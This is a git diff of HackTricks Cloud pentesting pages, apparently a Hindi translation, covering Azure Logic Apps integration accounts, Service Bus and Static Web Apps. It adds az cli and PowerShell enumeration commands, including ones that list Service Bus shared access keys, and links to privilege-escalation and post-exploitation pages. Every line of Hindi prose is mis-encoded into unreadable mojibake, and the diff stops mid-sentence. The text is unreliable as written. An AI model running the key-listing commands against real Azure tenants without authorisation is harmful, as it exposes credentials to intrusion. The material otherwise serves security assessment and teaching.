+ +``` +{% endcode %} +{% endtab %} +{% endtabs %} + + + +### Integration Accounts +**Integration Accounts**, Azure Logic Apps рдХреА рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИрдВред Integration Accounts рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрдиреНрдирдд B2B рдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдХреЗ рдЙрджреНрдпрдо-рд╕реНрддрд░реАрдп рдПрдХреАрдХрд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ EDI, AS2, рдФрд░ XML рд╕реНрдХреАрдорд╛ рдкреНрд░рдмрдВрдзрдиред Integration Accounts Azure рдореЗрдВ рдПрдХ рдХрдВрдЯреЗрдирд░ рд╣реИрдВ рдЬреЛ Logic Apps рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд▓рд╛рдХреГрддрд┐рдпреЛрдВ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддреЗ рд╣реИрдВ: + +* Schemas: рдЕрдкрдиреЗ рдПрдХреАрдХрд░рдг рдЦрд╛рддреЗ рдореЗрдВ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдорд╛рдиреНрдп рдФрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП XML рд╕реНрдХреАрдорд╛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░реЗрдВред +* Maps: рдЕрдкрдиреЗ рдПрдХреАрдХрд░рдг рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣ рдХреЗ рднреАрддрд░ рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХреЛ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП XSLT-рдЖрдзрд╛рд░рд┐рдд рд░реВрдкрд╛рдВрддрд░рдг рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВред +* Assemblies: рд▓реЙрдЬрд┐рдХ рдФрд░ рдбреЗрдЯрд╛ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рд╕рд░рд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХреАрдХрд░рдг рдЦрд╛рддрд╛ рдЕрд╕реЗрдВрдмрд▓реА рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░реЗрдВред +* Certificates: рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рд╕рд╛рдЗрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕рдВрднрд╛рд▓реЗрдВ, рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрдЪрд╛рд░ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВред +* Partners: B2B рд▓реЗрдирджреЗрди рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╛рдкрд╛рд░ рднрд╛рдЧреАрджрд╛рд░ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░реЗрдВ, рдирд┐рд░реНрдмрд╛рдз рдПрдХреАрдХрд░рдг рд╕рдХреНрд╖рдо рдХрд░реЗрдВред +* Agreements: рд╡реНрдпрд╛рдкрд╛рд░ рднрд╛рдЧреАрджрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдбреЗрдЯрд╛ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдпрдо рдФрд░ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ (рдЬреИрд╕реЗ, EDI, AS2)ред +* Batch Configurations: рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдХреБрд╢рд▓рддрд╛рдкреВрд░реНрд╡рдХ рд╕рдореВрд╣рд┐рдд рдФрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмреИрдЪ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░реЗрдВред +* RosettaNet PIP: B2B рд╕рдВрдЪрд╛рд░ рдХреЛ рдорд╛рдирдХреАрдХрд░рдг рдХреЗ рд▓рд┐рдП RosettaNet Partner Interface Processes (PIPs) рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВред + +#### Enumeration + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} +```bash +# Integration account +az logic integration-account list --resource-group +az logic integration-account show --resource-group --name +az logic integration-account list-callback-url --resource-group --integration-account-name + +# Batch-configuration +az logic integration-account batch-configuration list \ +--resource-group \ +--integration-account-name + +az logic integration-account batch-configuration show \ +--resource-group \ +--integration-account-name \ +--batch-configuration-name + +# Map +az logic integration-account map list \ +--resource-group \ +--integration-account + +az logic integration-account map show \ +--resource-group \ +--integration-account \ +--map-name + +# Partner +az logic integration-account partner list \ +--resource-group \ +--integration-account + +az logic integration-account partner show \ +--resource-group \ +--integration-account \ +--name + +# Session +az logic integration-account session list \ +--resource-group \ +--integration-account + +az logic integration-account session show \ +--resource-group \ +--integration-account \ +--name + +# Assembly +# Session +az logic integration-account assembly list \ +--resource-group \ +--integration-account + +az logic integration-account assembly show \ +--resource-group \ +--integration-account \ +--assembly-artifact-name + + +``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.LogicApp + +# Retrieve details of an integration account +Get-AzIntegrationAccount -ResourceGroupName -Name + +# Retrieve the callback URL of an integration account +Get-AzIntegrationAccountCallbackUrl -ResourceGroupName -IntegrationAccountName + +# Retrieve details of a specific agreement in an integration account +Get-AzIntegrationAccountAgreement -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific assembly in an integration account +Get-AzIntegrationAccountAssembly -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific batch configuration in an integration account +Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific certificate in an integration account +Get-AzIntegrationAccountCertificate -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific map in an integration account +Get-AzIntegrationAccountMap -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific partner in an integration account +Get-AzIntegrationAccountPartner -ResourceGroupName -IntegrationAccountName -Name + +# Retrieve details of a specific schema in an integration account +Get-AzIntegrationAccountSchema -ResourceGroupName -IntegrationAccountName -Name +``` +{% endcode %} +{% endtab %} +{% endtabs %} + + +## рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ + +рд▓реЙрдЬрд┐рдХ рдРрдкреНрд╕ рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдХреЗ рд╕рдорд╛рди: + +{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %} +[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md) +{% endcontent-ref %} + +## рдкреЛрд╕реНрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрдЗрдЯреЗрд╢рди + +{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %} +[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md) +{% endcontent-ref %} + +{% hint style="success" %} +AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ + +* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ! +* **рд╣рдорд╛рд░реЗ** ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **рд╣рдореЗрдВ** **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks_live)** рдкрд░ рдлреЙрд▓реЛ рдХрд░реЗрдВред** +* **рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░** [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index cab74f62e..c6d4c159f 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -4,7 +4,7 @@ ## Service Bus -Azure Service Bus рдПрдХ рдХреНрд▓рд╛рдЙрдб-рдЖрдзрд╛рд░рд┐рдд **рдореИрд╕реЗрдЬрд┐рдВрдЧ рд╕реЗрд╡рд╛** рд╣реИ рдЬрд┐рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдХреЗ рдмреАрдЪ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп **рд╕рдВрд╡рд╛рдж рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдпрд╛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ** рдХреЗ рдмреАрдЪред рдпрд╣ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдордзреНрдпрд╕реНрде рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рдВрджреЗрд╢ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдХрд┐рдП рдЬрд╛рдПрдВ, рднрд▓реЗ рд╣реА рдкреНрд░реЗрд╖рдХ рдФрд░ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдПрдХ рд╕рд╛рде рдХрд╛рдо рди рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЕрд▓рдЧ рдХрд░рдХреЗ, рдпрд╣ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрдмрдХрд┐ рдбреЗрдЯрд╛ рдпрд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реБрдПред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрд┐рдирдореЗрдВ рдХрдИ рд╢реНрд░рдорд┐рдХреЛрдВ рдХреЗ рдмреАрдЪ рд▓реЛрдб рд╕рдВрддреБрд▓рди, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕рдВрджреЗрд╢ рд╡рд┐рддрд░рдг, рдпрд╛ рдЬрдЯрд┐рд▓ рд╕рдордиреНрд╡рдп рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреНрд░рдо рдореЗрдВ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдирд╛ рдпрд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдкрд╣реБрдВрдЪ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдирд╛ред +Azure Service Bus рдПрдХ рдХреНрд▓рд╛рдЙрдб-рдЖрдзрд╛рд░рд┐рдд **рдореИрд╕реЗрдЬрд┐рдВрдЧ рд╕реЗрд╡рд╛** рд╣реИ рдЬрд┐рд╕реЗ рд╡рд┐рднрд┐рдиреНрди рднрд╛рдЧреЛрдВ рдХреЗ рдмреАрдЪ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп **рд╕рдВрдЪрд╛рд░ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдпрд╛ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ** рдХреЗ рдмреАрдЪред рдпрд╣ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдордзреНрдпрд╕реНрде рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рдВрджреЗрд╢ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдХрд┐рдП рдЬрд╛рдПрдВ, рднрд▓реЗ рд╣реА рдкреНрд░реЗрд╖рдХ рдФрд░ рдкреНрд░рд╛рдкреНрддрдХрд░реНрддрд╛ рдПрдХ рд╕рд╛рде рдХрд╛рдо рди рдХрд░ рд░рд╣реЗ рд╣реЛрдВред рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдЕрд▓рдЧ рдХрд░рдХреЗ, рдпрд╣ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рд╕реНрд╡рддрдВрддреНрд░ рд░реВрдк рд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬрдмрдХрд┐ рдбреЗрдЯрд╛ рдпрд╛ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реБрдПред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬреЛ рдХрдИ рд╢реНрд░рдорд┐рдХреЛрдВ рдХреЗ рдмреАрдЪ рд▓реЛрдб рд╕рдВрддреБрд▓рди, рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕рдВрджреЗрд╢ рд╡рд┐рддрд░рдг, рдпрд╛ рдЬрдЯрд┐рд▓ рд╕рдордиреНрд╡рдп рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдХреНрд░рдо рдореЗрдВ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдирд╛ рдпрд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдкрд╣реБрдВрдЪ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдирд╛ред ### Key Concepts @@ -12,7 +12,7 @@ Azure Service Bus рдПрдХ рдХреНрд▓рд╛рдЙрдб-рдЖрдзрд╛рд░рд┐рдд **рдореИрд╕реЗрдЬ - рд╕рдВрджреЗрд╢ рдХреНрд░рдордмрджреНрдз, рдЯрд╛рдЗрдорд╕реНрдЯреИрдореНрдк рдХрд┐рдП рдЧрдП рдФрд░ рд╕реНрдерд╛рдпреА рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред - рдкреБрд▓ рдореЛрдб (рдСрди-рдбрд┐рдорд╛рдВрдб рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐) рдореЗрдВ рд╡рд┐рддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред - рдмрд┐рдВрджреБ-рд╕реЗ-рдмрд┐рдВрджреБ рд╕рдВрдЪрд╛рд░ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред -2. **Topics:** рдкреНрд░рд╕рд╛рд░рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рдХрд╛рд╢рди-рдЧреНрд░рд╛рд╣рдХ рдореИрд╕реЗрдЬрд┐рдВрдЧред +2. **Topics:** рдкреНрд░рд╕рд╛рд░рдг рдХреЗ рд▓рд┐рдП рдкреНрд░рдХрд╛рд╢рд┐рдд-рд╕рдмреНрд╕рдХреНрд░рд╛рдЗрдм рдореИрд╕реЗрдЬрд┐рдВрдЧред - рдХрдИ рд╕реНрд╡рддрдВрддреНрд░ рд╕рдмреНрд╕рдХреНрд░рд┐рдкреНрд╢рди рд╕рдВрджреЗрд╢реЛрдВ рдХреА рдкреНрд░рддрд┐рдпрд╛рдВ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВред - рд╕рдмреНрд╕рдХреНрд░рд┐рдкреНрд╢рди рдореЗрдВ рд╡рд┐рддрд░рдг рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдпрд╛ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдпрдо/рдлрд┐рд▓реНрдЯрд░ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред - рдХрдИ-рд╕реЗ-рдХрдИ рд╕рдВрдЪрд╛рд░ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИред @@ -27,7 +27,7 @@ Azure Service Bus рдПрдХ рдХреНрд▓рд╛рдЙрдб-рдЖрдзрд╛рд░рд┐рдд **рдореИрд╕реЗрдЬ - **Dead-Lettering**: рд╕рдореАрдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рдЕрдкреНрд░рд╛рдкреНрдп рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИред - **Scheduled Delivery**: рднрд╡рд┐рд╖реНрдп рдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрджреЗрд╢ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рджреЗрд░реА рдХрд░рддрд╛ рд╣реИред - **Message Deferral**: рддреИрдпрд╛рд░ рд╣реЛрдиреЗ рддрдХ рд╕рдВрджреЗрд╢ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрддрд┐ рдХреЛ рд╕реНрдердЧрд┐рдд рдХрд░рддрд╛ рд╣реИред -- **Transactions**: рд╕рдВрдЪрд╛рд▓рди рдХреЛ рдкрд░рдорд╛рдгреБ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рд╕рдореВрд╣рд┐рдд рдХрд░рддрд╛ рд╣реИред +- **Transactions**: рдкрд░рдорд╛рдгреБ рдирд┐рд╖реНрдкрд╛рджрди рдореЗрдВ рд╕рдВрдЪрд╛рд▓рди рдХреЛ рд╕рдореВрд╣рд┐рдд рдХрд░рддрд╛ рд╣реИред - **Filters & Actions**: рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдпрд╛ рдПрдиреЛрдЯреЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдпрдо рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИред - **Auto-Delete on Idle**: рдирд┐рд╖реНрдХреНрд░рд┐рдпрддрд╛ рдХреЗ рдмрд╛рдж рдХрддрд╛рд░реЛрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИ (рдиреНрдпреВрдирддрдо: 5 рдорд┐рдирдЯ)ред - **Duplicate Detection**: рдкреБрдирдГ рднреЗрдЬрдиреЗ рдХреЗ рджреМрд░рд╛рди рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рд╣рдЯрд╛ рджреЗрддрд╛ рд╣реИред @@ -42,7 +42,7 @@ SAS рдиреАрддрд┐рдпрд╛рдБ Azure Service Bus рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЗ рди - рднреЗрдЬреЗрдВ: рдЗрдХрд╛рдИ рдХреЛ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред - рд╕реБрдиреЗрдВ: рдЗрдХрд╛рдИ рд╕реЗ рд╕рдВрджреЗрд╢ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред - **Primary and Secondary Keys**: рдпреЗ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд┐рдХ рдХреБрдВрдЬреА рд╣реИрдВ рдЬреЛ рдкрд╣реБрдБрдЪ рдХреЛ рдкреНрд░рдорд╛рдгрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрд░рдХреНрд╖рд┐рдд рдЯреЛрдХрди рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рддреА рд╣реИрдВред -- **Primary and Secondary Connection Strings**: рдкреВрд░реНрд╡-рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрдиреЗрдХреНрд╢рди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ рдХреБрдВрдЬреА рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИрдВред +- **Primary and Secondary Connection Strings**: рдкреВрд░реНрд╡-рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрдиреЗрдХреНрд╢рди рд╕реНрдЯреНрд░рд┐рдВрдЧреНрд╕ рдЬреЛ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрд╕рд╛рдиреА рдХреЗ рд▓рд┐рдП рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ рдХреБрдВрдЬреА рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИрдВред - **SAS Policy ARM ID**: рдкреНрд░реЛрдЧреНрд░рд╛рдореЗрдЯрд┐рдХ рдкрд╣рдЪрд╛рди рдХреЗ рд▓рд┐рдП рдиреАрддрд┐ рдХрд╛ Azure Resource Manager (ARM) рдкрдеред ### NameSpace @@ -50,6 +50,10 @@ SAS рдиреАрддрд┐рдпрд╛рдБ Azure Service Bus рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЗ рди sku, authrorization rule, ### Enumeration + +{% tabs %} +{% tab title="az cli" %} +{% code overflow="wrap" %} ```bash # Queue Enumeration az servicebus queue list --resource-group --namespace-name @@ -77,13 +81,65 @@ az servicebus queue authorization-rule list --resource-group - az servicebus topic authorization-rule list --resource-group --namespace-name --topic-name az servicebus namespace authorization-rule keys list --resource-group --namespace-name --name ``` +{% endcode %} +{% endtab %} + +{% tab title="Az PowerShell" %} +{% code overflow="wrap" %} +```powershell +Get-Command -Module Az.ServiceBus + +# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations. +Get-AzServiceBusNamespaceV2 -ResourceGroupName -Name + +# Retrieves the authorization rules for a Service Bus namespace, queue, or topic. +Get-AzServiceBusAuthorizationRule -ResourceGroupName -NamespaceName + +# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled. +Get-AzServiceBusGeoDRConfiguration -ResourceGroupName -NamespaceName + +# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace. +Get-AzServiceBusKey -ResourceGroupName -NamespaceName -Name + +# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress. +Get-AzServiceBusMigration -ResourceGroupName -NamespaceName + +# Retrieves properties and details about a Service Bus namespace. +Get-AzServiceBusNamespace -ResourceGroupName -Name + +# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules. +Get-AzServiceBusNetworkRuleSet -ResourceGroupName -NamespaceName + +# Retrieves private endpoint connections for a Service Bus namespace. +Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName -NamespaceName + +# Retrieves private link resources associated with a Service Bus namespace. +Get-AzServiceBusPrivateLink -ResourceGroupName -NamespaceName + +# Retrieves details of a specified queue in a Service Bus namespace. +Get-AzServiceBusQueue -ResourceGroupName -NamespaceName -Name + +# Retrieves rules (filters and actions) for a subscription under a Service Bus topic. +Get-AzServiceBusRule -ResourceGroupName -NamespaceName -TopicName -SubscriptionName + +# Retrieves details of subscriptions for a specified Service Bus topic. +Get-AzServiceBusSubscription -ResourceGroupName -NamespaceName -TopicName + +# Retrieves details of a specified topic in a Service Bus namespace. +Get-AzServiceBusTopic -ResourceGroupName -NamespaceName +``` +{% endcode %} +{% endtab %} +{% endtabs %} + + ### рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ {{#ref}} ../az-privilege-escalation/az-servicebus-privesc.md {{#endref}} -### рдкреЛрд╕реНрдЯ рдПрдХреНрд╕рдкреНрд▓реЛрдЗрдЯреЗрд╢рди +### рдкреЛрд╕реНрдЯ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди {{#ref}} ../az-post-exploitation/az-servicebus-post-exploitation.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md index 5fcb970df..079e4baeb 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md @@ -4,22 +4,22 @@ ## Static Web Apps Basic Information -Azure Static Web Apps рдПрдХ рдХреНрд▓рд╛рдЙрдб рд╕реЗрд╡рд╛ рд╣реИ рдЬреЛ **GitHub рдЬреИрд╕реЗ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд CI/CD рдХреЗ рд╕рд╛рде рд╕реНрдерд┐рд░ рд╡реЗрдм рдРрдкреНрд╕ рдХреЛ рд╣реЛрд╕реНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рд╣реИред рдпрд╣ рд╡реИрд╢реНрд╡рд┐рдХ рд╕рд╛рдордЧреНрд░реА рд╡рд┐рддрд░рдг, рд╕рд░реНрд╡рд░ рд░рд╣рд┐рдд рдмреИрдХрдПрдВрдб, рдФрд░ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд HTTPS рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╕реБрд░рдХреНрд╖рд┐рдд рдФрд░ рд╕реНрдХреЗрд▓реЗрдмрд▓ рдмрдирддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рднрд▓реЗ рд╣реА рд╕реЗрд╡рд╛ рдХреЛ "рд╕реНрдерд┐рд░" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, 